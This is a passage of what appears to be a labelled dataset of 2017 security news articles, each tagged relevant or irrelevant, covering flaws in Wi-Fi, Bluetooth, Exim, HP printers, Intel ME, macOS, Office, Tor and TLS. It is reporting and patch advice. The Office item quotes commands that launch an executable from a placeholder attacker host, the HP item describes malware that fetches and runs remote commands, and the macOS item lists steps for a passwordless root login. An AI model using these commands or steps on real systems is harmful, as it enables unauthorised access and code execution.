Response frame. The researchers discovered the vulnerabilities last year, but sent out notifications to several vendors on July 14, along with the United States Computer Emergency Readiness Team (US-CERT), who sent out a broad warning to hundreds of vendors on 28 August 2017. ""The impact of exploiting these vulnerabilities includes decryption, packet replay, TCP connection hijacking, HTTP content injection, and others,"" the US-CERT warned. ""Note that as protocol-level issues, most or all correct implementations of the standard will be affected."" In order to patch these vulnerabilities, you need to wait for the firmware updates from your device vendors. According to researchers, the communication over HTTPS is secure (but may not be 100 percent secure) and cannot be decrypted using the KRACK attack. So, you are advised to use a secure VPN service—which encrypts all your Internet traffic whether it's HTTPS or HTTP. You can read more information about these vulnerabilities on the KRACK attack's dedicated website, and the research paper. The team has also released a script using which you can check whether if your WiFi network is vulnerable to the KRACK attack or not.",relevant
"Bluetooth Hack Affects 20 Million Amazon Echo and Google Home Devices Remember BlueBorne? A series of recently disclosed critical Bluetooth flaws that affect billions of Android, iOS, Windows and Linux devices have now been discovered in millions of AI-based voice-activated personal assistants, including Google Home and Amazon Echo. As estimated during the discovery of this devastating threat, several IoT and smart devices whose operating systems are often updated less frequently than smartphones and desktops are also vulnerable to BlueBorne. BlueBorne is the name given to the sophisticated attack exploiting a total of eight Bluetooth implementation vulnerabilities that allow attackers within the range of the targeted devices to run malicious code, steal sensitive information, take complete control, and launch man-in-the-middle attacks. What's worse? Triggering the BlueBorne exploit doesn't require victims to click any link or open any file—all without requiring user interaction. Also, most security products would likely not be able to detect the attack. What's even scarier is that once an attacker gains control of one Bluetooth-enabled device, he/she can infect any or all devices on the same network. These Bluetooth vulnerabilities were patched by Google for Android in September, Microsoft for Windows in July, Apple for iOS one year before disclosure, and Linux distributions also shortly after disclosure. However, many of these 5 billion devices are still unpatched and open to attacks via these flaws. 20 Million Amazon Echo & Google Home Devices Vulnerable to BlueBorne Attacks IoT security firm Armis, who initially discovered this issue, has now disclosed that an estimated 20 million Amazon Echo and Google Home devices are also vulnerable to attacks leveraging the BlueBorne vulnerabilities. If I split, around 15 million Amazon Echo and 5 million Google Home devices sold across the world are potentially at risk from BlueBorne. Amazon Echo is affected by the following two vulnerabilities: A remote code execution vulnerability in the Linux kernel (CVE-2017-1000251) An information disclosure flaw in the SDP server (CVE-2017-1000250) Since different Echo's variants use different operating systems, other Echo devices are affected by either the vulnerabilities found in Linux or Android. Whereas, Google Home devices are affected by one vulnerability: Information disclosure vulnerability in Android's Bluetooth stack (CVE-2017-0785) This Android flaw can also be exploited to cause a denial-of-service (DoS) condition. Since Bluetooth cannot be disabled on either of the voice-activated personal assistants, attackers within the range of the affected device can easily launch an attack. Armis has also published a proof-of-concept (PoC) video showing how they were able to hack and manipulate an Amazon Echo device. The security firm notified both Amazon and Google about its findings, and both companies have released patches and issued automatic updates for the Amazon Echo and Google Home that fixes the BlueBorne attacks. Amazon Echo customers should confirm that their device is running v591448720 or later, while Google has not made any information regarding its version yet.",relevant
"Exim Internet Mailer Found Vulnerable to RCE And DoS Bugs; Patch Now A security researcher has discovered and publicly disclosed two critical vulnerabilities in the popular Internet mail message transfer agent Exim, one of which could allow a remote attacker to execute malicious code on the targeted server. Exim is an open source mail transfer agent (MTA) developed for Unix-like operating systems such as Linux, Mac OSX or Solaris, which is responsible for routing, delivering and receiving email messages. The first vulnerability, identified as CVE-2017-16943, is a use-after-free bug which could be exploited to remotely execute arbitrary code in the SMTP server by crafting a sequence of BDAT commands. ""To trigger this bug, BDAT command is necessary to perform an allocation by raising an error,"" the researcher said. ""Through our research, we confirm that this vulnerability can be exploited to remote code execution if the binary is not compiled with PIE."" The researcher (mehqq_) has also published a Proof-of-Concept (PoC) exploit code written in python that could allow anyone to gain code execution on vulnerable Exim servers. The second vulnerability, identified as CVE-2017-16944, is a denial of service (DoS) flaw that could allow a remote attacker to hang Exim servers even the connection is closed by forcing it to run in an infinite loop without crashing. The flaw exists due to improper checking for a '.' character to signify the end of an email when parsing the BDAT data header. ""The receive_msg function in receive.c in the SMTP daemon in Exim 4.88 and 4.89 allows remote attackers to cause a denial of service (infinite loop and stack exhaustion) via vectors involving BDAT commands and an improper check for a '.' character signifying the end of the content, related to the bdat_getc function,"" the vulnerability description reads. The researcher has also included a proof-of-concept (PoC) exploit for this vulnerability as well, making Exim server run out of stack and crash. Both vulnerabilities reside in Exim version 4.88 and 4.89, and sysadmins are recommended to update their mail transfer agent application Exim version 4.90 released on GitHub.",relevant
"Another Facebook Bug Allowed Anyone to Delete Your Photos If you think a website whose value is more than $500 billion does not have any vulnerability in it, then you are wrong. Pouya Darabi, an Iranian web developer, discovered and reported a critical yet straightforward vulnerability in Facebook earlier this month that could have allowed anyone to delete any photo from the social media platform. The vulnerability resides in Facebook's new Poll feature, launched by the social media giant earlier this month, for posting polls that include images and GIF animations. Darabi analyzed the feature and found that when creating a new poll, anyone can easily replace the image ID (or gif URL) in the request sent to the Facebook server with the image ID of any photo on the social media network. Now, after sending the request with another user image ID (uploaded by someone else), that photo would appear in the poll. ""Whenever a user tries to create a poll, a request containing gif URL or image id will be sent, poll_question_data[options][][associated_image_id] contains the uploaded image id,"" Darabi said. ""When this field value changes to any other images ID, that image will be shown in poll."" Apparently, if the creator of the poll deletes that post (poll), as demonstrated in the video above, it would eventually delete the source photo as well, whose image ID was added to the request—even if the poll creator doesn't own that photo. The researcher said he received $10,000 as his bug bounty reward from Facebook after he responsibly reported this vulnerability to the social media network on November 3. Facebook patched this issue on November 5. This isn't the first time when Facebook has been found dealing with such a vulnerability. In the past, researchers discovered and reported several issues that let them delete videos, photo albums, and comments and modify messages from the social media platform. Darabi has also previously been awarded by Facebook with a $15,000 bug bounty for bypassing its cross-site request forgery (CSRF) protection systems (in 2015) and another $7,500 for a similar issue (in 2016).",irrelevant
"Remotely Exploitable Flaw Found In HP Enterprise Printers—Patch Now Security researchers have discovered a potentially dangerous vulnerability in the firmware of various Hewlett Packard (HP) enterprise printer models that could be abused by attackers to run arbitrary code on affected printer models remotely. The vulnerability (CVE-2017-2750), rated as high in severity with 8.1 CVSS scale, is due to insufficiently validating parts of Dynamic Link Libraries (DLL) that allows for the potential execution of arbitrary code remotely on affected 54 printer models. The security flaw affects 54 printer models ranging from HP LaserJet Enterprise, LaserJet Managed, PageWide Enterprise and OfficeJet Enterprise printers. This remote code execution (RCE) vulnerability was discovered by researchers at FoxGlove Security when they were analyzing the security of HP's MFP-586 printer (currently sold for $2,000) and HP LaserJet Enterprise M553 printers (sold for $500). According to a technical write-up posted by FoxGlove on Monday, researchers were able to execute code on affected printers by reverse engineering files with the "".BDL"" extension used in both HP Solutions and firmware updates. ""This (.BDL) is a proprietary binary format with no publicly available documentation,"" researchers said. ""We decided that reverse engineering this file format would be beneficial, as it would allow us to gain insight into exactly what firmware updates and software solutions are composed of."" Since HP has implemented the signature validation mechanism to prevent tampering with the system, the researchers failed to upload a malicious firmware to the affected printer. However, after some testing researchers said that ""it may be possible to manipulate the numbers read into int32_2 and int32_3 in such a way that the portion of the DLL file having its signature verified could be separated from the actual executable code that would run on the printer."" The researchers were able to bypass digital signature validation mechanism for HP software ""Solution"" package and managed to add a malicious DLL payload and execute arbitrary code. FoxGlove Security has made the source code of the tools used during its research available on GitHub, along with the proof-of-concept (PoC) malware payload that could be remotely installed on the printers. The actions performed by their proof of concept malware are as follows: It downloads a file from http[://]nationalinsuranceprograms[.]com/blar Executes the command specified in the file on the printer Waits for 5 seconds Repeat FoxGlove Security reported this remote code execution vulnerability to HP in August this year, and the vendor fixed the issue with the release of new firmware updates for its business and enterprise printers. To download the new firmware update, visit the HP website in your web browser, and select Support from the top of the page and select Software & drivers. Now, enter the product name or model number in the search box, then scroll down in the search results to firmware and download the necessary files.",relevant
"Critical Flaws in Intel Processors Leave Millions of PCs Vulnerable In past few months, several research groups have uncovered vulnerabilities in the Intel remote administration feature known as the Management Engine (ME) which could allow remote attackers to gain full control of a targeted computer. Now, Intel has admitted that these security vulnerabilities could ""potentially place impacted platforms at risk."" The popular chipmaker released a security advisory on Monday admitting that its Management Engine (ME), remote server management tool Server Platform Services (SPS), and hardware authentication tool Trusted Execution Engine (TXE) are vulnerable to multiple severe security issues that place millions of devices at risk. The most severe vulnerability (CVE-2017-5705) involves multiple buffer overflow issues in the operating system kernel for Intel ME Firmware that could allow attackers with local access to the vulnerable system to ""load and execute code outside the visibility of the user and operating system."" The chipmaker has also described a high-severity security issue (CVE-2017-5708) involving multiple privilege escalation bugs in the operating system kernel for Intel ME Firmware that could allow an unauthorized process to access privileged content via an unspecified vector. Systems using Intel Manageability Engine Firmware version 11.0.x.x, 11.5.x.x, 11.6.x.x, 11.7.x.x, 11.10.x.x and 11.20.x.x are impacted by these vulnerabilities. For those unaware, Intel-based chipsets come with ME enabled for local and remote system management, allowing IT administrators to remotely manage and repair PCs, workstations, and servers within their organization. As long as the system is connected to a line power and a network cable, these remote functions can be performed out of band even when the computer is turned off as it operates independently of the operating system. Since ME has full access to almost all data on the computer, including its system memory and network adapters, exploitation of the ME flaws to execute malicious code on it could allow for a complete compromise of the platform. ""Based on the items identified through the comprehensive security review, an attacker could gain unauthorised access to the platform, Intel ME feature, and third party secrets protected by the ME, Server Platform Service (SPS), or Trusted Execution Engine (TXE),"" Intel said. Besides running unauthorized code on computers, Intel has also listed some attack scenarios where a successful attacker could crash systems or make them unstable. Another high-severity vulnerability involves a buffer overflow issue (CVE-2017-5711) in Active Management Technology (AMT) for the Intel ME Firmware that could allow attackers with remote Admin access to the system to execute malicious code with AMT execution privilege. AMT for Intel ME Firmware versions 8.x, 9.x, 10.x, 11.0.x.x, 11.5.x.x, 11.6.x.x, 11.7.x.x, 11.10.x.x and 11.20.x.x are impacted by this vulnerability. The worst part is that it's almost impossible to disable the ME feature to protect against possible exploitation of these vulnerabilities. ""The disappointing fact is that on modern computers, it is impossible to completely disable ME,"" researchers from Positive Technologies noted in a detailed blog post published late August. ""This is primarily due to the fact that this technology is responsible for initialization, power management, and launch of the main processor."" Other high severity vulnerabilities impact TXE version 3.0 and SPS version 4.0, leaving millions of computers with the feature at risk. These are described as: High Severity Flaws in Server Platform Service (SPS) CVE-2017-5706: This involves multiple buffer overflow issues in the operating system kernel for Intel SPS Firmware that could allow attackers with local access to the system to execute malicious code on it. CVE-2017-5709: This involves multiple privilege escalation bugs in the operating system kernel in Intel SPS Firmware that could allow an unauthorized process to access privileged content via an unspecified vector. Both the vulnerabilities impact Intel Server Platform Services Firmware 4.0.x.x. High Severity Flaws in Intel Trusted Execution Engine (TXE) CVE-2017-5707: This issue involves multiple buffer overflow flaws in the operating system kernel in Intel TXE Firmware that allow attackers with local access to the system to execute arbitrary code on it. CVE-2017-5710: This involves multiple privilege escalation bugs in the operating system kernel in Intel TXE Firmware that allow an unauthorized process to access privileged content via an unspecified vector. Both the vulnerabilities impact Intel Trusted Execution Engine Firmware 3.0.x.x. Affected Intel Products Below is the list of the processor chipsets which include the vulnerable firmware: 6th, 7th and 8th Generation Intel Core processors Xeon E3-1200 v5 and v6 processors Xeon Scalable processors Xeon W processors Atom C3000 processors Apollo Lake Atom E3900 series Apollo Lake Pentiums Celeron N and J series processors Intel has issued patches across a dozen generations of CPUs to address these security vulnerabilities that affect millions of PCs, servers, and the internet of things devices, and is urging affected customers to update their firmware as soon as possible. The chipmaker has also published a Detection Tool to help Windows and Linux administrators check if their systems are exposed to any threat. The company thanked Mark Ermolov and Maxim Goryachy from Positive Technologies Research for discovering CVE-2017-5705 and bringing it to its attention, which forced the chipmaker to review its source code for vulnerabilities.",relevant
"macOS High Sierra Bug Lets Anyone Gain Root Access Without a Password If you own a Mac computer and run the latest version of Apple's operating system, macOS High Sierra, then you need to be extra careful with your computer. A serious, yet stupid vulnerability has been discovered in macOS High Sierra that allows untrusted users to quickly gain unfettered administrative (or root) control on your Mac without any password or security check, potentially leaving your data at risk. Discovered by developer Lemi Orhan Ergin on Tuesday, the vulnerability only requires anyone with physical access to the target macOS machine to enter ""root"" into the username field, leave the password blank, and hit the Enter a few times—and Voila! In simple words, the flaw allows an unauthorized user that gets physical access on a target computer to immediately gain the highest level of access to the computer, known as ""root,"" without actually typing any password. Needless to say, this blindingly easy Mac exploit really scary stuff. This vulnerability is similar to one Apple patched last month, which affected encrypted volumes using APFS wherein the password hint section was showing the actual password of the user in the plain text. Here's How to Login as Root User Without a Password If you own a Mac and want to try this exploit, follow these steps from admin or guest account: Open System Preferences on the machine. Select Users & Groups. Click the lock icon to make changes. Enter ""root"" in the username field of a login window. Move the cursor into the Password field and hit enter button there few times, leaving it blank. With that (after a few tries in some cases) macOS High Sierra logs the unauthorized user in with root privileges, allowing the user to access your Mac as a ""superuser"" with permission to read and write to system files, including those in other macOS accounts as well. This flaw can be exploited in several ways, depending on the setup of the targeted Mac. With full-disk encryption disabled, a rogue user can turn on a Mac that's entirely powered down and log in as root by doing the same trick. At Mac's login screen, an untrusted user can also use the root trick to gain access to a Mac that has FileVault turned on to make unauthorized changes to the Mac System Preferences, like disabling FileVault. All the untrusted user needs to do is click ""Other"" at the login screen, and then enter ""root"" again with no password. However, it is impossible to exploit this vulnerability when a Mac machine is turned on, and the screen is protected with a password. Ergin publicly contacted Apple Support to ask about the issue he discovered. Apple is reportedly working on a fix. ""We are working on a software update to address this issue. In the meantime, setting a root password prevents unauthorized access to your Mac. To enable the Root User and set a password, please follow the instructions here: https://support.apple.com/en-us/HT204012. If a Root User is already enabled, to ensure a blank password is not set, please follow the instructions from the 'Change the root password' section."" Here's How to Temporarily Fix the macOS High Sierra Bug Fortunately, the developer suggested a temporary fix for this issue which is as easy as its exploit. To fix the vulnerability, you need to enable the root user with a password. Heres how to do that: Open System Preferences and Select Users & Groups Click on the lock icon and Enter your administrator name and password there Click on ""Login Options"" and select ""Join"" at the bottom of the screen Select ""Open Directory Utility"" Click on the lock icon to make changes and type your username and password there Click ""Edit"" at the top of the menu bar Select ""Enable Root User"" and set a password for the root user account This password will prevent the account from being accessed with a blank password. Just to be on the safer side, you can also disable Guest accounts on your Mac. for this, head on to System Preferences → Users & Groups, select Guest User after entering your admin password, and disable ""Allow guests to log in to this computer.""",relevant
"17-Year-Old MS Office Flaw Lets Hackers Install Malware Without User Interaction You should be extra careful when opening files in MS Office. When the world is still dealing with the threat of 'unpatched' Microsoft Office's built-in DDE feature, researchers have uncovered a serious issue with another Office component that could allow attackers to remotely install malware on targeted computers. The vulnerability is a memory-corruption issue that resides in all versions of Microsoft Office released in the past 17 years, including Microsoft Office 365, and works against all versions of Windows operating system, including the latest Microsoft Windows 10 Creators Update. Discovered by the security researchers at Embedi, the vulnerability leads to remote code execution, allowing an unauthenticated, remote attacker to execute malicious code on a targeted system without requiring user interaction after opening a malicious document. The vulnerability, identified as CVE-2017-11882, resides in EQNEDT32.EXE, an MS Office component which is responsible for insertion and editing of equations (OLE objects) in documents. microsoft-office-exploit However, due to improper memory operations, the component fails to properly handle objects in the memory, corrupting it in such a way that the attacker could execute malicious code in the context of the logged-in user. Seventeen years ago, EQNEDT32.EXE was introduced in Microsoft Office 2000 and had been kept in all versions released after Microsoft Office 2007 in order to ensure the software remains compatible with documents of older versions. DEMO: Exploitation Allows Full System Take Over Exploitation of this vulnerability requires opening a specially crafted malicious file with an affected version of Microsoft Office or Microsoft WordPad software. This vulnerability could be exploited to take complete control over a system when combined with Windows Kernel privilege escalation exploits (like CVE-2017-11847). Possible Attack Scenario: While explaining the scope of the vulnerability, Embedi researchers suggested several attack scenarios listed below: ""By inserting several OLEs that exploited the described vulnerability, it was possible to execute an arbitrary sequence of commands (e.g., to download an arbitrary file from the Internet and execute it)."" ""One of the easiest ways to execute arbitrary code is to launch an executable file from the WebDAV server controlled by an attacker."" ""Nonetheless, an attacker can use the described vulnerability to execute the commands like cmd.exe /c start \\attacker_ip\ff. Such a command can be used as a part of an exploit and triggers starting WebClient."" ""After that, an attacker can start an executable file from the WebDAV server by using the \\attacker_ip\ff\1.exe command. The starting mechanism of an executable file is similar to that of the \\live.sysinternals.com\tools service."" Protection Against Microsoft Office Vulnerability With this month's Patch release, Microsoft has addressed this vulnerability by changing how the affected software handles objects in memory. So, users are strongly recommended to apply November security patches as soon as possible to keep hackers and cybercriminals away from taking control of their computers. Since this component has a number of security issues which can be easily exploited, disabling it could be the best way to ensure your system security. Users can run the following command in the command prompt to disable registering of the component in Windows registry: reg add ""HKLM\SOFTWARE\Microsoft\Office\Common\COM Compatibility\{0002CE02-0000-0000-C000-000000000046}"" /v ""Compatibility Flags"" /t REG_DWORD /d 0x400 For 32-bit Microsoft Office package in x64 OS, run the following command: reg add ""HKLM\SOFTWARE\Wow6432Node\Microsoft\Office\Common\COM Compatibility\{0002CE02-0000-0000-C000-000000000046}"" /v ""Compatibility Flags"" /t REG_DWORD /d 0x400 Besides this, users should also enable Protected View (Microsoft Office sandbox) to prevent active content execution (OLE/ActiveX/Macro).",relevant
"Patch Tuesday: Microsoft Releases Update to Fix 53 Vulnerabilities It's Patch Tuesday—time to update your Windows devices. Microsoft has released a large batch of security updates as part of its November Patch Tuesday in order to fix a total of 53 new security vulnerabilities in various Windows products, 19 of which rated as critical, 31 important and 3 moderate. The vulnerabilities impact the Windows OS, Microsoft Office, Microsoft Edge, Internet Explorer, Microsoft Scripting Engine, .NET Core, and more. At least four of these vulnerabilities that the tech giant has now fixed have public exploits, allowing attackers to exploit them easily. But fortunately, none of the four are being used in the wild, according to Gill Langston at security firm Qualys. The four vulnerabilities with public exploits identified by Microsoft as CVE-2017-8700 (an information disclosure flaw in ASP.NET Core), CVE-2017-11827 (Microsoft browsers remote code execution), CVE-2017-11848 (Internet Explorer information disclosure) and CVE-2017-11883 (denial of service affecting ASP.NET Core). Potentially Exploitable Security Vulnerabilities What's interesting about this month's patch Tuesday is that none of the Windows OS patches are rated as Critical. However, Device Guard Security Feature Bypass Vulnerability (CVE-2017-11830) and Privilege Elevation flaw (CVE-2017-11847) are something you should focus on. Also, according to an analysis of Patch Tuesday fixes by Zero-Day Initiative, CVE-2017-11830 and another flaw identified as CVE-2017-11877 can be exploited to spread malware. ""CVE-2017-11830 patches a Device Guard security feature bypass vulnerability that would allow malware authors to falsely authenticated files,"" Zero-Day Initiative said. ""CVE-2017-11877 fixes an Excel security feature bypass vulnerability that fails to enforce macro settings, which are often used by malware developers."" The tech giant also fixed six remote code execution vulnerabilities exist ""in the way the scripting engine handles objects in memory in Microsoft browsers."" Microsoft identified these vulnerabilities as CVE-2017-11836, CVE-2017-11837, CVE-2017-11838, CVE-2017-11839, CVE-2017-11871, and CVE-2017-11873, which could corrupt memory in such a way that attackers could execute malicious code in the context of the current user. ""In a web-based attack scenario, an attacker could host a specially crafted website that is designed to exploit the vulnerability through Microsoft Edge and then convince a user to view the website,"" Microsoft said. ""These websites could contain specially crafted content that could exploit the vulnerability."" 17-Year-Old MS Office Flaw Lets Hackers Install Malware Also, you should be extra careful when opening files in MS Office. All versions of Microsoft Office released in the past 17 years found vulnerable to remote code execution flaw (CVE-2017-11882) that works against all versions of Windows operating system, including the latest Microsoft Windows 10 Creators Update. However, due to improper memory operations, the component fails to properly handle objects in the memory, corrupting it in such a way that the attacker could execute malicious code in the context of the logged-in user. Exploitation of this vulnerability requires opening a specially crafted malicious file with an affected version of Microsoft Office or Microsoft WordPad software, which could allow attackers to remotely install malware on targeted computers. Adobe Patch Tuesday: Patches 62 Vulnerabilities Besides fixing vulnerabilities in its various products, Microsoft has also released updates for Adobe Flash Player. These updates correspond with Adobe Update APSB17-33, which patches 62 CVEs for Acrobat and Reader alone. So, Flash Player users are advised to ensure that they update Adobe across their environment to stay protected. It should also be noted that last Patch Tuesday, Microsoft quietly released the patch for the dangerous KRACK vulnerability (CVE-2017-13080) in the WPA2 wireless protocol. Therefore, users are also recommended to make sure that they have patched their systems with the last month's security patches. Alternatively, users are strongly advised to apply November security patches as soon as possible in order to keep hackers and cybercriminals away from taking control of their computers. For installing security updates, just head on to Settings → Update & security → Windows Update → Check for updates, or you can install the updates manually.",relevant
"MS Office Built-In Feature Could be Exploited to Create Self-Replicating Malware Earlier this month a cybersecurity researcher shared details of a security loophole with The Hacker News that affects all versions of Microsoft Office, allowing malicious actors to create and spread macro-based self-replicating malware. Macro-based self-replicating malware, which basically allows a macro to write more macros, is not new among hackers, but to prevent such threats, Microsoft has already introduced a security mechanism in MS Office that by default limits this functionality. Lino Antonio Buono, an Italian security researcher who works at InTheCyber, reported a simple technique (detailed below) that could allow anyone to bypass the security control put in place by Microsoft and create self-replicating malware hidden behind innocent-looking MS Word documents. What's Worse? Microsoft refused to consider this issue a security loophole when contacted by the researcher in October this year, saying it's a feature intended to work this way only—just like MS Office DDE feature, which is now actively being used by hackers. New 'qkG Ransomware' Found Using Same Self-Spreading Technique Interestingly, one such malware is on its way to affect you. I know, that was fast—even before its public disclosure. Just yesterday, Trend Micro published a report on a new piece of macro-based self-replicating ransomware, dubbed ""qkG,"" which exploits exactly the same MS office feature that Buono described to our team. Trend Micro researchers spotted qkG ransomware samples on VirusTotal uploaded by someone from Vietnam, and they said this ransomware looks ""more of an experimental project or a proof of concept (PoC) rather than a malware actively used in the wild."" The qkG ransomware employs Auto Close VBA macro—a technique that allows executing malicious macro when victim closes the document. qkG-ransomware The latest sample of qkG ransomware now includes a Bitcoin address with a small ransom note demanding $300 in BTC as shown. It should be noted that the above-mentioned Bitcoin address hasn't received any payment yet, which apparently means that this ransomware has not yet been used to target people. Moreover, this ransomware is currently using the same hard-coded password: ""I'm QkG@PTM17! by TNA@MHT-TT2"" that unlocks affected files. Here's How this New Attack Technique Works In order to make us understand the complete attack technique, Buono shared a video with The Hacker News that demonstrates how an MS Word document equipped with malicious VBA code could be used to deliver a self-replicating multi-stage malware. If you are unaware, Microsoft has disabled external (or untrusted) macros by default and to restrict default programmatic access to Office VBA project object model, it also offers users to manually enable ""Trust access to the VBA project object model,"" whenever required. microsoft-office-macro-malware With ""Trust access to the VBA project object model"" setting enabled, MS Office trusts all macros and automatically runs any code without showing security warning or requiring user's permission. Buono found that this setting can be enabled/disabled just by editing a Windows registry, eventually enabling the macros to write more macros without user's consent and knowledge. windows-registry-enable-macro As shown in the video, a malicious MS Doc file created by Buono does the same—it first edits the Windows registry and then injects same macro payload (VBA code) into every doc file that the victim creates, edits or just opens on his/her system. Victims Will be Unknowingly Responsible for Spreading Malware Further In other words, if the victim mistakenly allows the malicious doc file to run macros once, his/her system would remain open to macro-based attacks. Moreover, the victim will also be unknowingly responsible for spreading the same malicious code to other users by sharing any infected office files from his/her system. This attack technique could be more worrisome when you receive a malicious doc file from a trusted contact who have already been infected with such malware, eventually turning you into its next attack vector for others. Although this technique is not being exploited in the wild, the researcher believes it could be exploited to spread dangerous self-replicating malware that could be difficult to deal with and put an end. Since this is a legitimate feature, most antivirus solutions do not flag any warning or block MS Office documents with VBA code, neither the tech company has any plans of issuing a patch that would restrict this functionality. Buono suggests ""In order to (partially) mitigate the vulnerability it is possible to move the AccessVBOM registry key from the HKCU hive to the HKLM, making it editable only by the system administrator."" The best way to protect yourself from such malware is always to be suspicious of any uninvited documents sent via an email and never click on links inside those documents unless adequately verifying the source.",relevant
"Warning: Critical Tor Browser Vulnerability Leaks Users' Real IP Address—Update Now If you follow us on Twitter, you must be aware that since yesterday we have been warning Mac and Linux users of the Tor anonymity browser about a critical vulnerability that could leak their real IP addresses to potential attackers when they visit certain types of web pages. Discovered by Italian security researcher Filippo Cavallarin, the vulnerability resides in FireFox that eventually also affects Tor Browser, since the privacy-aware service that allows users to surf the web anonymously uses FireFox at its core. Dubbed by the researcher as TorMoil, the vulnerability affects Tor browser for macOS and Linux and not for Windows, but keeping in mind the security and privacy of Tor users, details about this flaw has not been yet publicly revealed. Cavallarin, CEO of the security firm We Are Segment, privately reported the security vulnerability to Tor developers on Thursday (October 26), and the Tor developers have rolled out an emergency update Tor version 7.0.8. According to a short blog post published Tuesday by We Are Segment, the TorMoil vulnerability is due to a Firefox issue in ""handling file:// URLs."" TorMoil is triggered when users click on links that begin with file:// addresses, instead of the more common https:// and https:// addresses. ""Due to a Firefox bug in handling file:// URLs it is possible on both systems that users leak their IP address,"" the blog post reads. ""Once an affected user [running macOS or Linux system] navigates to a specially crafted web page, the operating system may directly connect to the remote host, bypassing Tor Browser."" The Tor Project has currently issued a temporary workaround to prevent the real IP leakage. So, macOS and Linux users may found the updated versions of the Tor anonymity browser not behaving properly while navigating to file:// addresses, until a permanent patch becomes available. ""The fix we deployed is just a workaround stopping the leak. As a result of that navigating file:// URLs in the browser might not work as expected anymore. In particular entering file:// URLs in the URL bar and clicking on resulting links is broken,"" the Tor Project said in a blog post published Friday. ""Opening those in a new tab or new window does not work either. A workaround for those issues is dragging the link into the URL bar or on a tab instead. We track this follow-up regression in bug 24136."" According to the Tor Project, users of both the Windows versions of Tor, Tails and the sandboxed-tor-browser that's in alpha testing are not affected. The Tor Project also said there's no evidence the TorMoil vulnerability has been actively exploited by hackers to obtain the IP addresses of Tor users. However, lack of evidence does not prove the bug was not exploited by nation-state attackers and skilled hackers, given the high-demand of Tor zero-day exploit in the market, where Zerodium is ready to pay anyone $1 Million for its exploit. In an attempt to keep its users' privacy protected, the Tor Project has recently announced the release of Tor 0.3.2.1-alpha that includes support for the next generation onion services, with the integration of new cutting-edge encryption and improvement of overall authentication into its web service.",relevant
"Critical Flaw in Major Android Tools Targets Developers and Reverse Engineers Finally, here we have a vulnerability that targets Android developers and reverse engineers, instead of app users. Security researchers have discovered an easily-exploitable vulnerability in Android application developer tools, both downloadable and cloud-based, that could allow attackers to steal files and execute malicious code on vulnerable systems remotely. The issue was discovered by security researchers at the Check Point Research Team, who also released a proof of concept (PoC) attack, which they called ParseDroid. The vulnerability resides in a popular XML parsing library ""DocumentBuilderFactory,"" used by the most common Android Integrated Development Environments (IDEs) like Google's Android Studio, JetBrains' IntelliJ IDEA and Eclipse as well as the major reverse engineering tools for Android apps such as APKTool, Cuckoo-Droid and more. android-development The ParseDroid flaw, technically known as XML External Entity (XXE) vulnerability, is triggered when a vulnerable Android development or reverse engineering tool decodes an application and tries to parse maliciously crafted ""AndroidManifest.xml"" file inside it. In order words, all an attacker need to trigger the vulnerability is trick the developers and reverse engineers into loading a maliciously crafted APK file. ""By simply loading the malicious 'AndroidManifest.xml' file as part of an Android project, the IDEs starts spitting out any file configured by the attacker,"" the researchers said. Demonstration: XML External Entity (XXE) to Remote Code Execution Besides this, the XXE vulnerability can also be used to inject arbitrary files anywhere on a targeted computer to achieve full remote code execution (RCE), which makes the attack surface-wide and various. Moreover, the attacker doesn't require to target their victims directly, as the researchers suggest ""another attack scenario that can be used in the wild to attack a massive range of Android developers by injecting a malicious AAR (Android Archive Library) containing our XXE payload into repositories."" For educational and demonstration purpose, researchers have also created an online APK decoder tool that can extract the malicious file from an APK (in this case they used a PHP web shell), allowing the attacker to execute system commands on the web application server, as shown in the video. ""The way we chose to demonstrate this vulnerability, of course, is just one of many possible attack methods that can be used to achieve full RCE,"" the Check Point researchers wrote. ""Indeed, the Path Traversal method lets us copy any file to any location on the file system, making the attack surface-wide and various."" Check Point researchers Eran Vaknin, Gal Elbaz, Alon Boxiner and Oded Vanunu discovered this issue in May 2017 and reported them to all major IDEs and tools developers, including Google, JetBrains, Eclipse and APKTool owner. Most of the developers, including Google, JetBrains and APKTool owner, have since fixed the issue and released patched versions. Since all the attack methods demonstrated by the researchers are cross-platform, developers and reverse engineers are highly recommended to update their tools, if they haven't yet.",relevant
"ROBOT Attack: 19-Year-Old Bleichenbacher Attack On Encrypted Web Reintroduced A 19-year-old vulnerability has been re-discovered in the RSA implementation from at least 8 different vendors—including F5, Citrix, and Cisco—that can give man-in-the-middle attackers access to encrypted messages. Dubbed ROBOT (Return of Bleichenbacher's Oracle Attack), the attack allows an attacker to perform RSA decryption and cryptographic operations using the private key configured on the vulnerable TLS servers. ROBOT attack is nothing but a couple of minor variations to the old Bleichenbacher attack on the RSA encryption protocol. First discovered in 1998 and named after Swiss cryptographer Daniel Bleichenbacher, the Bleichenbacher attack is a padding oracle attack on RSA-based PKCS#1 v1.5 encryption scheme used in SSLv2. Leveraging an adaptive chosen-ciphertext attack which occurred due to error messages by SSL servers for errors in the PKCS #1 1.5 padding, Bleichenbacher attack allows attackers to determine whether a decrypted message is correctly padded. This information eventually helps attackers decrypt RSA ciphertexts without recovering the server's private key, completely breaking the confidentiality of TLS when used with RSA encryption. ""An attacker could iteratively query a server running a vulnerable TLS stack implementation to perform cryptanalytic operations that may allow decryption of previously captured TLS sessions."" Cisco explains in an advisory. In 1998, Bleichenbacher proposed to upgrade encryption scheme, but instead, TLS designers kept the vulnerable encryption modes and added a series of complicated countermeasures to prevent the leakage of error details. Now, a team of security researchers has discovered that these countermeasures were incomplete and just by using some slight variations, this attack can still be used against many HTTPS websites. ""We changed it to allow various different signals to distinguish between error types like timeouts, connection resets, duplicate TLS alerts,"" the researchers said. ""We also discovered that by using a shortened message flow where we send the ClientKeyExchange message without a ChangeCipherSpec and Finished message allows us to find more vulnerable hosts."" According to the researchers, some of the most popular websites on the Internet, including Facebook and Paypal, are affected by the vulnerability. The researchers found ""vulnerable subdomains on 27 of the top 100 domains as ranked by Alexa."" ROBOT attack stems from the above-mentioned implementation flaw that only affects TLS cipher modes using RSA encryption, allowing an attacker to passively record traffic and later decrypt it. ""For hosts that usually use forward secrecy, but still support a vulnerable RSA encryption key exchange the risk depends on how fast an attacker is able to perform the attack,"" the researchers said. ""We believe that a server impersonation or man in the middle attack is possible, but it is more challenging."" The ROBOT attack has been discovered by Hanno Böck, Juraj Somorovsky of Ruhr-Universitat Bochum/Hackmanit GmbH, and Craig Young of Tripwire VERT, who also created a dedicated website explaining the whole attack, its implications, mitigations and more. The attack affects implementations from several different vendors, some of which have already released patches and most have support notes acknowledging the issue. You will find the list of affected vendors on the 